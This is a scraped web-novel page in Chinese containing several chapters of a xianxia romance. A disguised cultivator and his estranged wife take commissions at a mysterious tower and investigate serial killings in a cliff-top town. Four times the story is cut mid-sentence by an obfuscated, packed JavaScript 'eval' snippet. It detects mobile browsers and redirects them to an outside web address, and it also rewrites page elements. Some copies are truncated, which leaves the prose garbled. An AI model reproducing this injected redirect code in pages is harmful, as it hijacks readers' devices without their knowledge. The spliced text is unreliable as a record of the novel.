李星月眉眼一弯,让出位置请顾应湘坐下,轻快道:“顾姐姐,我们刚还跟卢昱桐在一块儿。” 她年纪小,又长得可爱,碰到其他仙门的弟子都按哥哥姐姐喊。 顾应湘没忍住抬手轻捏李星月的脸颊,疑惑道:“卢昱桐?我下山的时候他还没扫完训练堂,怎么可能跟你们一起。” 李星月后知后觉,一脸震惊地抓池梦虞袖子。 却见池梦虞神色如常,手里拿着茶杯,轻轻一掰,灰陶烧的茶杯断口整齐,阴□□:“算他跑得快。” 其实她也只比李星月早那么一小会发现。 顾应湘不明所以,哪壶不开提哪壶问:“戚寻呢?你们俩不都一直是一起行动。” 成亲之前,池梦虞和戚寻游历那几年间,两人都没少给各仙门留下阴影,导致只要两人在哪里出现,修士间立马奔走相告。 于是两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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笺面上写着委托,上下各有一个圆孔,穿着细红绳,下方挂着对应的酬劳,像丹药兵器之类都是直接挂上去,挂不上去的则系上纸片写明。 藏雪楼来者不拒,委托内容应有尽有,酬劳也是五花八门。 池梦虞一眼扫过去,甚至还有挂着一根带泥的白萝卜、一只狂扇翅膀的鸽子之类的酬劳。 感到一阵熟悉的气息,池梦虞抬起头,在第三层一块红桐笺下,挂着一把通体银白的剑。 ——是月下剑。 能让她灵力运转自如的剑。 见有人进来,原先背对着门口端详墙上桐笺,身着缁衫玉带的公子转过身来,文质彬彬地拱手,朝池梦虞几人道:“初次见面,在下司景,来自奇人镇。” 顾应湘觉得这人看起来很面熟,但一时没想起来,便只是行礼回应:“天枢阁顾应湘。” 李星月指了指背上的剑,一抹鼻子道:“剑宗李星月。” 过了一会儿,池梦虞才点头说了自己的名字。 “久仰。”自称司景的书生展开手中的扇子,摇了摇。 扇面赫然画着一幅金枫秋色图。 几人刚打完招呼,只见木墙后走出一位少年。 应该说飘更恰当点,他腰部以下透明,悬在半空中出现。 而看清少年的脸瞬间,司景险些失态。 那分明是百年之后在镜心湖边被三宗追杀的魔族少年,是池梦虞曾以死相护的徒弟。 怎么会出现在这里。 眉目自带笑意的少年款款欠身,冲几位来客道: “在下藏雪楼楼主,祝无忧。” 4. 奇人镇(一) 从祝无忧出现,池梦虞之前感觉到的寒意瞬间狂盛,冰锥般的寒气裹袭全身经脉。 她指尖微动,刚想运行灵力,银色光华却没有出现。 这座楼里,有一个极大的阵法。 进了藏雪楼的修士,都会灵力全无,与凡人无异。 下一瞬,祝无忧身影虚晃,直冲池梦虞而来。 一旁的司景动作更快,打开的扇子往池梦虞面前一挡,截住祝无忧。 池梦虞的目光停在扇面上的金色枫叶。 祝无忧少年风华,眉清目秀,笑盈盈看起来稚气无辜,道:“池姑娘稀客,鄙楼蓬荜生辉。” 眼前似乎有冰雪,朦胧雪雾中是一团瘦弱的身体,但池梦虞看不清那张脸。 祝无忧嘴角微扬,眉目间一直挂着笑,就像长着一张笑面,无人知道他是什么来历,却镇守主宰着整座藏雪楼。 包括进楼的人。 他动了池梦虞的记忆。 经脉中的寒意褪下时,池梦虞抬眸,神色便如初见般陌生。 她疏离地往后退了一步,道:“那把剑的委托,劳烦楼主取一下。” 顺着池梦虞的目光看过去,李星月瞪大眼睛,道:“池姐姐,那是红桐笺。” 池梦虞看得出来那是红色的。 祝无忧张开手臂,娓娓道来:“委托分绿桐笺、黄桐笺和红桐笺,三种不同颜色的桐笺,代表的委托难度是云泥之别,绿桐笺大多为百姓所托,一般都是寻常事件,酬劳主要看委托人财力。黄桐笺则涉及邪祟魔物,酬劳多是对提升修为有益的丹药法器。红桐笺一开始是不存在的,某些委托诡谲莫测,致使修士丧命仍悬而未解,藏雪楼便会将其标为红色,警示修士该委托危险程度极高。” 整面木墙上,红桐笺只有寥寥十几个。 池梦虞听明白了,毫不犹豫道:“我接。” 只要拿到月下剑,她就不用再担心灵力失控给世人带来麻烦。 “早听闻池姑娘灵力无双,解决红桐笺应当不在话下,但是,藏雪楼有藏雪楼的规矩。”祝无忧缓缓地飘回木墙边上,道:“入楼的修士,每完成三个绿桐笺委托,能接一个黄桐笺委托,同理,完成三个黄桐笺的委托,才能接红桐笺。” 绿桐笺上所书委托,大都是些丢了牛塌了房之类的凡人琐事。 没钱没势的凡人办事总是寸步难行,大多于仙门而言,不过举手之劳的事,却是凡人全部的生活。 藏雪楼出现之后,凡人有了求助仙门的途径。 但凡人所能提供的酬劳,入不了修士的眼。 所以藏雪楼定下规矩,使凡人的委托都能先得到解决。 因此阑州城城中,凡人安居,烟火繁荣。 藏雪楼此举福泽苍生,池梦虞很赞同。 祝无忧飘在半空,半透明的下身从桌椅掠过,俯视众人,道:“楼中规矩,无有例外。” 池梦虞沉思一番,也就是她想要接月下剑的委托,要先完成九个绿桐笺加三个黄桐笺的委托。 不着急,她可以慢慢完成。 正想着先拿一个绿桐笺,顾应湘转过来,道:“我们合作怎么样?我想要这个碧华清,拿到后这个黄桐笺也算你的。” 黄桐笺的委托没那么好解决,对于善用阵法辅助的顾应湘来说,找其他仙门同行是明智之举。 她看中的碧华清是养颜驻容的奇效灵丹,大师姐下山历练,囤胭脂来了。 池梦虞忍俊不禁,有人陪她刷经验,当然不会拒绝。 李星月肯定帮池梦虞,她已经在木墙前,挑底下那些绿桐笺。 司景趁机上前,也挑了个黄桐笺,道:“在下虽是初次入楼,不过对阑州城轻车熟路,有在下相助,寻常委托能尽快完成。” 池梦虞莞尔点头,道:“那有劳司公子。” 司景合扇子道:“愿意效劳。” 四人一拍即合。 池梦虞也不挑,直接扫了一排连着九个绿桐笺,跟楼主辞别。 出了藏雪楼,四人分两路。 池梦虞将四个绿桐笺分给顾应湘和李星月,她则跟司景一路。 司景没想到,池梦虞说的有劳,真不是客气。 第一个委托,司景施术移沙填堤,将被汛期冲垮的河床垫高,把庄稼地里的积水引入沟渠排走,让田地能重新种植作物。 池梦虞陪委托人刘婆婆坐在茅草棚下,悠闲地喝茶。 第二个委托,司景施术砍木造筏,帮刘婆婆邻居被洪水冲走三头牛的刘大爷,一头一头从河里拽回来。 池梦虞悠闲地跟刘大爷下棋。 第三个委托,司景在林间奔忙布阵,以身为饵,引诱多次惊扰村民的凶恶黑熊出现,在黑熊张着淋漓血盆大口朝他飞扑下来瞬间,并指一横,无数金线凭空出现将黑熊捆成一团。 他回过头,池梦虞正悠闲地逗着一只小兔子。 第四个委托,替逃婚私奔的江小姐争取时间,也是司景穿红嫁衣披红盖头上的花轿。 婚宴上鸡飞狗跳,狗血淋头,司景首当其冲。 而池梦虞悠闲地……磕了把瓜子。 牛马司景麻木了,刚想掀了红盖头脱身,一帮劫匪浩浩荡荡冲进婚宴。 “江小姐”的夫君当即将他推了出去,献给劫匪头目保命。 巧了,这帮劫匪的名头相当响亮,三河帮无恶不作,正好是剩下的一个委托。 正想着替民除害,司景突如其来眼前一黑,没想到江小姐这个夫君不但懦弱无能,还歹毒至极,怕她不肯就范,给她下了药。 于是,一身红嫁衣的司景,就这么投怀送抱,软软地倒进五大三粗的劫匪头目怀里。 盖头滑下,露出一张清俊冷艳的面容。 劫匪头目大喜过望,把人抗上肩头,顺带洗劫抢掠了一番财物,带着小弟嚣张地离开。 队友掉线,池梦虞不得不拍了拍手,跟着劫匪出城。 劫匪的据点是三艘长帆巨船,沿着河流行到哪抢到哪。 已经入夜,船正靠在岸边,船上点着火把,三河帮的劫匪正来回巡视。 劫匪一行扛着脏物,头目则扛着司景,上了中间的船。 司景浑身无力,如火焚身,他知道自己中的是春药,就是这种不算毒药的药,他才会中招。 就干脆顺手推舟,让劫匪把他劫走,省了找这帮劫匪据点的时间。 池梦虞站在岸边,黑夜里一双银眸亮如星辰,她灵力环绕的手掌轻触船体,墨丝飘逸,闪电般的光芒瞬间亮彻整个河面。 恐怖的灵流掀起巨浪,炸裂声轰鸣,三艘巨船分崩离析,碎得连一块完整的木板都没有。 惨叫声落水声连连,被炸懵了的劫匪下饺子一样落到河里。 司景也不能幸免,刚落入水中,一袭白衣掠至眼前,将他拉到空中。 落入他眼中的,是池梦虞素白如月光般的侧脸,清冽得似乎一碰就碎。 池梦虞揽着他,足尖微点水花,轻盈地落回到岸边。 河里的劫匪陆陆续续地爬上岸,还有不少在河中心扑腾挣扎。 上岸的劫匪跪成一片,朝着池梦虞哐哐磕头,“仙长饶命!” 池梦虞神色清冷,让劫匪发下改过自新再也不犯的重誓。 最后一个委托完成。 身边人喘息很重,池梦虞将司景扶到不远处的断木坐下,察看他的脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836877|159090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你怎么了?” 司景浑身烫似火炉,抬手抓着她的白衣,用不太清醒的语气对她说:“池梦虞,我好难受。” 这个语气太熟悉,池梦虞微愣。 前世她与戚寻熟识后,戚寻总喜欢连名带姓地叫她,一开始她并不喜欢,因为听起来怪疏离的。 但每次戚寻这么叫她,那双灼灼的眼眸都是自己。 后来戚寻当上大宗主,性情变了许多,她才发现,真正的疏离,是那人的眼里再没有自己。 她怀疑过司景的身份,但前两次戚寻易容靠近,她都会听到那个声音“杀了戚寻”。 在藏雪楼见到司景,那个声音并没再出现。 所以她才放下疑心。 眼前这个人长相同戚寻并无半点相似之处。 但这下意识的反应,跟戚寻太像了。 池梦虞眸色幽幽,戚寻再次三番地接近自己,难道还在打灵力的主意。 目光落在司景怀中的扇子,池梦虞将手一探,便要伸进司景的衣襟里。 意识到池梦虞起疑心了,司景慌忙抬手按住扇子。 一旦扇子离身,易容幻术立消。 池梦虞倾身欲夺,司景侧身后仰,拉得池梦虞往他身上扑倒。 手撑在司景的颈侧,池梦虞才看清,司景衣襟散乱,唇舌间气息灼热,是真的意识不清乱喊人。 “池姐姐!”身后传来李星月一声大喊。 池梦虞转过头,宽袖子还压在司景身下,池梦虞解释:“他中毒了。” 黑灯瞎火,大师兄不在,师嫂躺在别的男人怀里! 李星月如临大敌,箭步上前,先把池梦虞拉开两步远,再拎起司景,一掌拍他背上,语速飞快道:“不打紧不打紧,凡人用的这点毒对修士来说就跟蚊子叮了一样,用灵力化开就没事。” 李星月这一掌,多少有点私人恩怨。 司景被力道十足的一掌打得闷喘一声,无奈苦笑。 池梦虞反而落了个不自在,毕竟这一天的委托,司景出了不少力,中毒也是为了深入劫匪据点。 “刚才好大动静,就猜到肯定是你们在这边。”顾应湘姗姗来迟,手里晃着一串绿桐笺。 她跟李星月的几个委托也完成得很顺利。 见池梦虞没再追究扇子,司景浅浅松了口气,默默地掐了个净尘术,将湿透的嫁衣换回书生的装扮。 汇合后,四人回到城中客栈歇了一晚。 第二天一同到藏雪楼,跟楼主祝无忧交换黄桐笺。 考虑到黄桐笺委托复杂,便只请祝无忧取下顾应湘看中的碧华清对应的黄桐笺。 不过一日未见,祝无忧的下半身更加透明,就像一缕快散了的烟,随着移动飘起来。 祝无忧将黄桐笺递给池梦虞,拱手道:“那便祝各位所向披靡,迷津得解。” 池梦虞拿过黄桐笺,委托内容只有一句“查明奇人镇真相”。 “奇人镇真相?”李星月正琢磨着,却见另外两人都看向司景,她才恍然连连用手指着司景:“你不就是奇人镇的,那肯定知道真相是什么。” “……”司景摇着扇子,还没开口。 “这个委托也太容易了。”李星月欣喜地抓过黄桐笺,朝祝无忧挥手:“下一个。” “什么下一个,我虽然从奇人镇来,但也不清楚真相所指。”司景抬手用扇子挡下李星月的手。 “你该不是假冒身份,根本不是什么奇人镇来的吧。”李星月难得聪明一次,失望地把手放下。 池梦虞垂眸盯着扇子。 司景在心里捏了把汗,表面自若道:“实不相瞒,其实在下正是这个桐笺的委托人。” 5. 奇人镇(二) 奇人镇是阑州城南面一个山野小镇。 马车上,李星月惆怅地翻着委托内容,叹气道:“这没头没尾的,不知道要查什么。” 顾应湘一脸沉思,看着车帘外司景正在驾马车的背影,喃喃道:“我果然见过他。” “谁?司景吗?”李星月顺着她的目光,压低声音问。 顾应湘点了点头,道:“三年前,他曾入过天枢阁外门,但不到一个月,就被除名逐出师门。” 池梦虞闻言抬起头,问:“因为什么?” “私闯禁阁,偷盗禁书。”顾应湘肯定地说道,“他当时只是一个外门弟子,我也只在执法堂见过一次,所以没什么印象。” “这会不会跟我们要查的事情有关?”李星月将脑袋往前一凑。 顾应湘不置可否,又说:“奇人镇我听说过,只有一千多人的小镇,但很特殊,早两年,阑州城附近的仙门世家基本上都跟他们打过交道。” “因为整个镇的人,都是修士。” 池梦虞微微讶异。 除了她来历特殊以外,此间凡人与修士有着天生无法逾越的沟壑。 灵根。 只有天生有灵根的人,才能修炼出灵力,成为修士,之后才是提升修为境界。 没有灵根就注定是凡人。 而凡人寿元不过百年,修士寿元则要长于凡人数倍,可以用修为将容貌保持在固定的状态。 因为寿元不对等,所以凡人与修士相恋才会被视为禁忌。 虽然修士的后人不是一定会有灵根,但凡人之后,出现灵根几乎连千分之一都达不到。 因此修士大都出自世代传承的修仙世家。 世间凡人若出现有灵根的后代,大都也拜入仙门之中。 而奇人镇,几乎是凭空出现的,镇上所住之人,全都有灵力修为,与修士无异。 早先多有仙门向其抛出互通往来的邀请,但无一例外被拒绝了。 奇人镇就像世外桃源,修士在其中过着如同隐居般的凡间生活。 “有古怪。”李星月点评道。 池梦虞认同地点头。 “我还听说,那里的镇民对养颜之道颇有研究,倒不虚此行。”顾应湘眼神里都是期待,大师姐关注点清奇。 因考虑到奇人镇拒绝与仙门往来,李星月和顾应湘事先将弟子服换下。 李星月一身橘粉色,俏皮又不失利落。 顾应湘点了胭脂,黛眉朱唇,衣裙华丽搭着披帛,端庄稳重。 池梦虞则仍是一身白衣。 马车出城之后,又走了一天一夜。 进了峡谷,两边山壁陡峭嶙峋,沿着湍急的河流,路极其难行。 车轮不断轧过乱石,池梦虞在马车里都快晃吐了。 但只是行了一段,马车就停下来。 池梦虞掀开车帘,迎面就是一阵凉爽的水汽,磅礴水声震耳欲聋。 马车停在一道从天而降的瀑布下方。 从马车上下来,李星月抬头望着除了瀑布,就是山壁的四周,念念叨叨道:“司景你果然就是冒牌货吧,这哪有什么小镇。” 司景伸出一根手指,往上指了指:“在上面。” 李星月眼睛都瞪大了,道:“真住在上面,那确实凡人根本不可能上得去。” 怪不得整个镇里都是修士。 悬崖的高度只要能御剑的修士,便能上去。 池梦虞顺着山壁望过去,有几处稍平缓的地方,似乎有凿过的痕迹,不过基本上都被杂草覆盖。 把小镇建在悬崖之上,倒确实是个世外桃源之所。 顾应湘双手分别并起食指和中指,指尖相抵,在瀑布下方设下通行阵眼,方便到时候离开。 天枢阁的通行阵有时效限制,设下的阵眼过了七天就会失效,而又必须是抵达到的地方,才能设阵眼。 所以他们无法用通行阵上崖顶。 设完阵眼,顾应湘拇指张开,翻转掌心向下,往两侧拉开,棋盘格状的御行阵萦绕着紫色灵流,落在她身下。 “池姐姐,我带你上去。”李星月剑刚出鞘。 身后的马突然一声嘶叫,疯狂地往峡谷外奔去。 几人只觉得脚下震颤,一片巨大的阴影缓缓从瀑布底下冒了出来。 池梦虞离瀑布很近,一根比她人还高的覆满毛发的兽腿从她头顶跨过,她抬头迎面便对上一对如钳的螯肢,黏腻的兽液从猩红的口器中渗出。 水花飞溅,四人连忙往后撤开。 椭圆的头胸上密麻布着八只复眼,泛着荧蓝的光,那是一只比马车要大上数倍的蜘蛛,伸着八条长腿盘踞在崖底,挡住他们上山的路。 “好大的蜘蛛!”李星月横剑在身前,大声喊。 “是蓝幽蛛,一种吸血蛛。”司景一手背在身后,一手成掌立在身前,张开金色的灵力护罩,挡下四溅的水花。 李星月历练少,胆子大,抓着剑踩着乱石就往前冲,剑式裹着天青色的灵气朝蓝幽蛛劈过去。 顾应湘掌心凝出球状的灵力团,分别朝蓝幽蛛底下四个方向扔。 池梦虞悠闲地站远点,在司景的护罩后避开跟暴雨似的水花。 蓝幽蛛整个身体从瀑布底下爬出来,身形硕大却又极其灵活,八条长腿挥舞着朝李星月袭去,砸到山壁乱石滚落。 李星月到底只有一把剑,她旋身越过砸下的石头,剑刃撞上飞速袭来的长腿,蓝幽蛛的螯肢张开凌空而至,李星月避无可避。 下一瞬,顾应湘双指并立一喝:“缚!” 四个方向的灵力团爆开,无数紫色灵力柱交错,将蓝幽蛛定住。 “漂亮!”李星月惊喜一呼,灵活的身形往后撤开。 然而这么大的蓝幽蛛,早就是妖兽级别,修为明显不浅。 蓝幽蛛口器大张,发出一声震撼峡谷的嘶鸣,缚兽阵压不住了。 李星月和顾应湘不是蓝幽蛛的对手。 池梦虞面不改色,身形往前一掠,“星月,剑给我。” 话音刚落,她已握着剑柄,足尖点着山壁一跃,反手一剑刺在蓝幽蛛的眼睛上。 缚兽阵的灵力柱炸成粉碎,蛛腿狂舞,池梦虞眸底银光乍现,正要运转灵力给蓝幽蛛致命一击。 “手下留情!!!” 随着一声大喊,一道身影从瀑布跳下,落在蓝幽蛛背上,抬手安抚。 池梦虞堪堪收住灵力,拔剑轻盈落回地面,白衣一尘不染。 灰衣青年单膝半蹲在蓝幽蛛背上,俯首朝池梦虞众人道:“冒犯各位仙友了,在下奇人镇慕栩,这是我的灵宠,还望高抬贵手。” 蓝幽蛛在慕栩安抚下,温顺地将长腿往回收。 池梦虞将剑递给李星月,李星月眉毛夸张地扬起,抬手贴在池梦虞耳边,小声道:“居然把大蜘蛛当灵宠,这个镇的人也太古怪了。” 池梦虞抬头刚要说话,便发现慕栩看向她身后,眼神闪过一瞬的骇然惊诧。 她身后的司景神色冷峻,沉默不语。 这两个人是一个镇的,认识也不奇怪。 池梦虞微微一笑,道:“我们想进奇人镇,劳烦让一让。” 慕栩浓眉微皱,语气不耐烦道:“跟我来吧。” 蓝幽蛛张开蛛腿,驮着慕栩灵活地从山壁攀爬上去。 四人紧随其后,越过瀑布,一座不失壮美的奇人镇出现在面前,房屋沿着崖边伫立,错落往上延伸,与崖顶的镇落连成一片。 丛木幽深,崖道嶙峋,整座小镇遗世独立,看起来静谧安宁。 骑着蓝幽蛛的慕栩进了小镇就不见了。 池梦虞几人往镇中心走,显然镇民很不欢迎外来的人,李星月敲了好几户人家的门,都被拒之门外。 路上碰到的人,也视而不见地避开他们。 碰了一鼻子灰后,司景合起扇子,道:“先去我家吧。” 镇上每户人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但外面,池梦虞什么都没听到。 整座小镇,寂静得,就像空无一人。 即使是深夜,也不应该如此死气沉沉。 “因为他们在害怕。”司景抬头,看向悬崖边,道:“镇上的人,都在害怕。” 害怕什么。 池梦虞刚想开口,便听到一声凄厉的惨呼声,撕开沉寂的夜色。 声音听起来似乎离他们不远。 池梦虞转头跟司景对视一眼,轻叹起身,道:“去看看。” 顺着声音传来的方位,池梦虞和司景赶到时,只有一具尸体。 死者被一把长刀穿心而过,钉在门板上,死不瞑目地看着前方。 这是一间旧屋,门板上挂着牌匾,刻着四个字,字迹斑驳难以辨认。 “远芳学堂。”司景见池梦虞抬头看着牌匾,开口道。 池梦虞应了声嗯,上前查看尸体,司景掌心托着一团照明的灵流,在一旁给池梦虞照明。 靠近门板,池梦虞才发现,死者身体下还有密密麻麻至少几十处被长刀刺穿的痕迹。 池梦虞了然,明白司景说的害怕是什么。 每天晚上,都会有一个人被杀,钉在这个门板上。 镇上已经连续死了近四十人。 死法很简单,简单到池梦虞觉得不寻常。 灵力的光芒落在她的睫毛上,池梦虞看向司景的掌心,眸色一动。 她知道哪里不寻常了,死者胸口的血还有余热,分明是刚被杀。 但她没有感到半点的灵力残留,整个镇上都是修士,但杀人者毫无灵力。 池梦虞错愕地抬头,难以置信道:“凶手是凡人。” 这个险峻的崖上小镇,怎么会有凡人。 6. 奇人镇(三) 池梦虞靠近尸体查看,除了贯穿心口的刀,尸体上并没有其他伤口。 甚至衣衫佩饰都完好整洁,并没有打斗留下的痕迹。 死者四肢和脑袋僵硬下垂,即使环境幽暗,池梦虞仍然注意到,尸体后颈靠近衣领的位置,有两个细小的血洞,像是被什么东西咬的。 被尸体挡住的门板,似乎也有问题,池梦虞看向司景。 司景默契地抬手,隔空将门板上的尸体移到地上平放。 四周夜色暗沉,被一抹灵流映出光亮的旧门板上,密麻错乱的刀眼就像几十只漆黑的眼睛,顺着刀眼流下的血迹已经发黑,门槛被血浸透。 门板上方,却几乎没有血喷溅的痕迹。 就像死者心甘情愿地走到门板前,被凶手拿着长刀贯穿心脏,而毫无挣扎反抗。 但凶手又是一个没有灵力的凡人。 他是怎么做到,让一个修士毫无还手之力被钉死在门板上。 让镇上每个修士,都惧怕会死在他的刀下。 池梦虞半蹲在尸体边,没看出刀有什么特殊的,她并指正要往尸体的丹田探,看看死者的修为如何。 门板后面又传出一声惨呼。 凶手还没走! 池梦虞起身抬手一扫,门板应声而开,两人顺着声音闯进去。 进门是个院子,司景先越过院子,闯进学堂中。 门窗残旧,书案杂乱翻倒,灰尘几乎成了雾气,视线不清。 池梦虞敏锐地感到一丝异常,她转过身,门口的尸体瞬间燃烧起来,透明的冷焰显然是灵力操控的。 有人在声东击西,目的是毁尸灭迹。 池梦虞微怒,正要踏进学堂。 “别进来!”司景愕然转身,对门外的池梦虞大声一喝。 红色的灵流突然沿着墙壁纵横出现,灵力牢笼瞬间成形,将整个学堂困住。 学堂里,无数暗红色的铁链状灵力从四面八方出现,朝着正中的司景捆去。 几乎同时,数十个修士从天而降,落在院子中。 是奇人镇的人,为首正是饲养蓝幽蛛当灵宠的慕栩。 “先抓那个连御剑都不会的白衣服。”慕栩一声令下,身后修士纷纷拔剑。 门外的尸体在灵力燃烧下,很快化成烟尘,不留一丝痕迹。 池梦虞抬起一双银眸,正要运转灵力的动作一顿。 尸体已经被毁,她的灵力会让这个学堂夷为平地,那真相就无迹可寻。 带着灵力的剑式破空刺向池梦虞眉心。 司景的手脚被捆住,暗红的铁链几乎缠绕他全身,无法动弹。 电光火石间,一面扇子从学堂中飞出,击中剑刃瞬间炸开金色防御阵,挡在池梦虞身前。 白衣翻飞,池梦虞回头,双眸微微睁大。 易容幻术褪开,戚寻发丝垂落,被灵力铁链捆扯着双手双脚,拽得单膝扑跪在地,看向池梦虞嘴角溢出血丝。 防御阵灵力低微,被一剑劈开,池梦虞身形往后掠,跃入学堂之中。 整个学堂罩着极强的灵力牢笼,有进无出。 “还有两个在那家伙家里。你们几个在这里守着,其他人跟我来。” 留了四个修士守在学堂外,慕栩带着其他人离开。 池梦虞站在戚寻面前,看着铁链上暗红的灵力流动,感觉很熟悉,不过更让她意外的,这灵力修为极高,连戚寻都无法挣脱。 如果这个陷阱是镇上的修士布下的,那恐怕,李星月和顾应湘有危险。 戚寻见池梦虞面色不愉,他仍半跪着,仰望着池梦虞,因为身上的灵力威压而轻微颤抖。 池梦虞说过,不再相见。 他却用易容幻术,接近池梦虞,如今被抓了个现行。 “你怎么……”池梦虞的语气很淡,很轻。 戚寻颤得更厉害,一口气血上涌,正想卖个惨,故作隐忍的一句“我没事”还没说出口。 池梦虞补上后半句:“这么没用。” “……”戚寻一口血吐出来。 修士的修为提升,除了灵根和天赋,还需要长时间的修炼。百年前的戚寻,虽然灵力有限,但修为在年轻修士中已是顶尖。 戚寻垂下头,深吸一口气,抬起头恢复那副散漫的表情,他张开手掌,道:“池梦虞,借我点灵力吧。” 池梦虞冷静地看他,寻思一番,现在从这里出去比较要紧,但要保护现场,所以有必要放开戚寻。 交错的灵流铁链前,池梦虞抬起冷白色的右手,与半跪的戚寻掌心相对,十指缓缓相扣。 温热的掌心相抵,戚寻仰着头,鸦翅般的眼睫抬起,瞳孔中金光乍盛,灵力汹涌如潮,经脉中的压迫感让他喘息微重,哑着声道:“池梦虞,够、够了。” 池梦虞将他的手松开,她随手给的这点灵力,应该够戚寻用到解决奇人镇的委托。 暗红色的灵力铁链剧烈震颤,戚寻双手握拳,轻轻一挣,覆盖着学堂的灵力牢笼及铁链瞬间碎成齑粉消散。 学堂外守着的四个修士转身,刚露出震惊的神色,戚寻身形如影,并指点在四人的眉心,瞬息间,四人倒地。 戚寻落回池梦虞身边时,指尖还凝着金光,这灵力一下子涌入太多,他用起来都有些收不住。 但毕竟是借来的灵力。 戚寻尴尬地挥了挥指尖,散开灵流,道:“我省着点用?” 池梦虞毫不在意,直接往外走,“你想怎么用怎么用,反正都是有借无还。” 一路往崖边赶,她放心不下李星月和顾应湘。 戚寻跟上来,亦步亦趋道:“怎么能不还,虽然你不缺灵力,但我可以还别的。” 池梦虞不答他,白衣在月色下轻盈如纱。 “池梦虞。”戚寻抬高声音喊了一声。 池梦虞脚步一顿,回过身,周身尽是寒意。 “让我帮你吧,不是说好,要一起找真相。”戚寻放缓声音,虽然在藏雪楼说好一起完成委托的是奇人镇司景,并不是他。 “既然你说可以还别的。”池梦虞看他,保持着距离,道:“你为什么会对司景的身份了如指掌,甚至连他失踪了你都能料到。” “我不信巧合,跟我说实话,借的灵力就当你还了。” 戚寻顿住,面露难色。 他不能说,前世他是在三宗围攻镜心湖一个月前,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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御行阵不能像御剑那般灵活闪躲,半空中,顾应湘一手揽着莫婉,一手并起双指,刚稳住身形,崖边的蓝幽蛛疯甩着数根长腿,朝她们迎面刺来。 池梦虞赶到附近,便看到这幕,但鞭长莫及。 千钧一发之际,顾应湘双指往后一甩,身后虚空中划开一道暗紫色的阵门。 是放在崖底的阵眼! 顾应湘带着莫婉往后一倒,消失在阵门里。 阵门瞬间闭合,蓝幽蛛凌乱的长腿扑了空。 池梦虞跃入后院中,一双银眸出现,蓝幽蛛本能发出恐惧的低鸣,骑在它身上的慕栩骂了一声。 还没动手,地上李星月的身体被突然出现的蛛丝一裹,收回蓝幽蛛身下。 “想要救她,明天天亮之前,抓住凶手。”慕栩阴恻一笑,蓝幽蛛飞速地往悬崖下爬去。 池梦虞停在崖边,眼睁睁看着蓝幽蛛消失在黑暗中。 无法御剑,麻烦比想象中还要多。 “池梦虞,我觉得还是……”戚寻追了上来,不知道刚发生过什么,他对着崖边池梦虞的背影,斟酌着道。 池梦虞回过头,冷冷地给了他一记眼刀。 “……”戚寻刚准备了一肚子哄人的话,一下咽了回去。 他这是,哪里又错了? 好像还错得很要命的样子。 7. 奇人镇(四) “跑了。”池梦虞神色缓了缓,刚才是她拒绝戚寻在先,也不能怪他。 戚寻看着后院的一地狼藉,心里暗下决心。 至少在离开奇人镇之前,他定不会再离开池梦虞身边半步。 “这个慕栩的修为,应该不高,如果不是操控着蓝幽蛛,他应该打不过星月。”池梦虞分析道。 “学堂里布下陷阱的,另有其人。”戚寻肯定道,他眼底还有点淡淡的,未散去的金光。 “嗯。”池梦虞点头,垂眸思索。 莫婉有顾应湘照顾,离开奇人镇反而更安全一些。 如今要解决委托,也需要先找到凶手。 如果凶手每天晚上都杀一个人,那只需要回远芳学堂,守株待兔。 池梦虞跟戚寻想到一块儿,两人对视一眼。 慕栩既然要他们抓住凶手,又为什么要烧掉尸体,毁掉线索。 疑点太多了。 两人一路回到远芳学堂。 戚寻抬手掐诀,施了个隐身术法。 隐身术法在灵力境界比自己高的人面前,就会完全无效。 所以在池梦虞眼里,戚寻只是身上覆着一层淡淡的金光,跟平时无异。 “既然凶手是凡人,那他应该离学堂不远,如果看到我们俩人在学堂,说不定今晚就不会动手。”戚寻双指并立,面对面靠近池梦虞。 很有道理,要让池梦虞一起隐身,则需要两人之间持续触碰。 前世戚寻施隐身术法后,会牵起池梦虞的手,一路只要不松手,两人都是隐身状态。 过近的距离让池梦虞有些僵硬,她将手一握,往后躲开。 戚寻伸出去的手一顿,又面色如常地轻撩起池梦虞垂落的衣袖,跟自己的袖子系在一起。 两人之间,素纯的白衣宽袖跟刺着金枫的黑袍宽袖打了个结。 远芳学堂门外,两人的身形一起消失在虚空中。 戚寻用着池梦虞借给他的灵力,隐身术法应对这个镇上的人,绰绰有余了。 本来想着,再探查一番学堂,看看有没有什么线索。 但是池梦虞走动间,袖子总会牵扯到身边的人,结袖子反而有种如影随形如漆似胶的感觉。 池梦虞只要转过头,定会撞上戚寻的目光,张扬的眉眼间偏偏只在她身上落下几分柔情。 心尖像被轻挠几下,池梦虞视而不见地别开眼神。 转了一圈,只是一间荒废了的学堂。 池梦虞便在檐廊下席地而坐,等待夜晚到来。 戚寻在她身边并肩坐下,安静地陪着她。 两人的袖子堆叠在一起。 一夜未睡,池梦虞有些困倦,浓睫低垂,再不看戚寻一眼。 